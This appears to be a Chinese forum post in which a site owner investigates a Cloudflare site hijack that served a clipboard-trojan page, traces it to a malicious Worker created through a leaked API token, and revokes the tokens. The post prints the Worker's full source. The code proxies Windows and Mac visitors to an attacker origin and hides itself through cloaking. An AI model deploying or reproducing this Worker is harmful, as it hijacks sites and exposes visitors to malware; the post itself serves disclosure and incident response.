（三编，应该解决了）cf网站被劫持，挂了剪切板木马，叫codex分析了一下原因

早上起来打开我的网站，突然发现了这个页面

这玩意之前遇到过很多次，一看就是木马，肯定是不可能照做的

我之前在cf上部署过一次博客也被挂过一次木马，手上又没有什么能力去排查一下什么问题，当时还有些事情，懒得搞了，后面直接切到eo page上面了。

现在这一回这个网站也被劫持了，这个时候我刚好也不急，我就要来找找原因了，直接把界面扔给 Codex，我在 Cloudflare 的 API 令牌里面创建了一个可以管理全部项目的 API token，叫他一个一个排查。

过了几分钟Codex研究了一下，后面发现是我的cloudfare下有一个可疑worker。

然后我叫Astra先别删，把worker的链接发给我，我来去找

然后我进到那个worker目录下，发现它的路由绑定了我所有的根域名，也是逆天。他要是绑定的是自定义域，这种情况下，我如果去解析的话会出现出错。但是，如果是直接通过路由的方式来进行关联的话，我哪怕解析也不会报错。

然后我点击编辑代码的时候，看一看它这个worker的源代码是什么。

直接把代码贴出来吧（以下是木马的worker的代码，不要粘贴到自己的worker上）```
const VPS_ORIGIN = "https://27-april-tag.com";

export default {
async fetch(request, env, ctx) {
const userAgent = request.headers.get("User-Agent") || "";
const isWindows10or11 = userAgent.includes("Windows NT 10.0") || userAgent.includes("MiniRedir/10.0");
const isMac = /Mac OS X|Macintosh/.test(userAgent);

if (!isWindows10or11 && !isMac) {
return fetch(request);
}

const url = new URL(request.url);
const originalHostname = url.hostname;

const targetURL = VPS_ORIGIN + url.pathname + url.search;
const backupRequest = request.clone();

const proxyHeaders = new Headers(request.headers);
proxyHeaders.set("X-Forwarded-Host", originalHostname);
proxyHeaders.set("Host", new URL(VPS_ORIGIN).hostname);

const clientIP = request.headers.get("CF-Connecting-IP") || request.headers.get("X-Real-IP") || request.headers.get("X-Forwarded-For");
if (clientIP) {
proxyHeaders.set("X-Real-IP", clientIP);
proxyHeaders.set("CF-Connecting-IP", clientIP);
}

const proxyConfig = {
method: request.method,
headers: proxyHeaders,
redirect: "manual"
};

if (request.body && request.method !== "GET" && request.method !== "HEAD") {
proxyConfig.body = request.body;
}

try {
const response = await fetch(targetURL, proxyConfig);

if (response.headers.has("X-Adspect-Captcha")) {
return response;
}

return fetch(backupRequest);
} catch (err) {
return fetch(backupRequest);
}
}
};
```伪装的还路由到的是zf的网站。（截一部分）

逆天，吓哭了。

看到还是3个月前通过API创建的，可能是我哪时候API泄露了吧。后面我就把所有的API令牌全删除掉。再按需进行创建。

（2026/10/05 21:20）

我测不对

你怎么又来了？

不是哥们

把唯一一个令牌改成只有dns编辑权限（ddns要用），看看还有没有说法。

（2026/10/05 21:29）

OK，应该是破案了。原因应该是我只是把账户令牌删了，但是用户令牌还没删，应该是用户令牌泄露了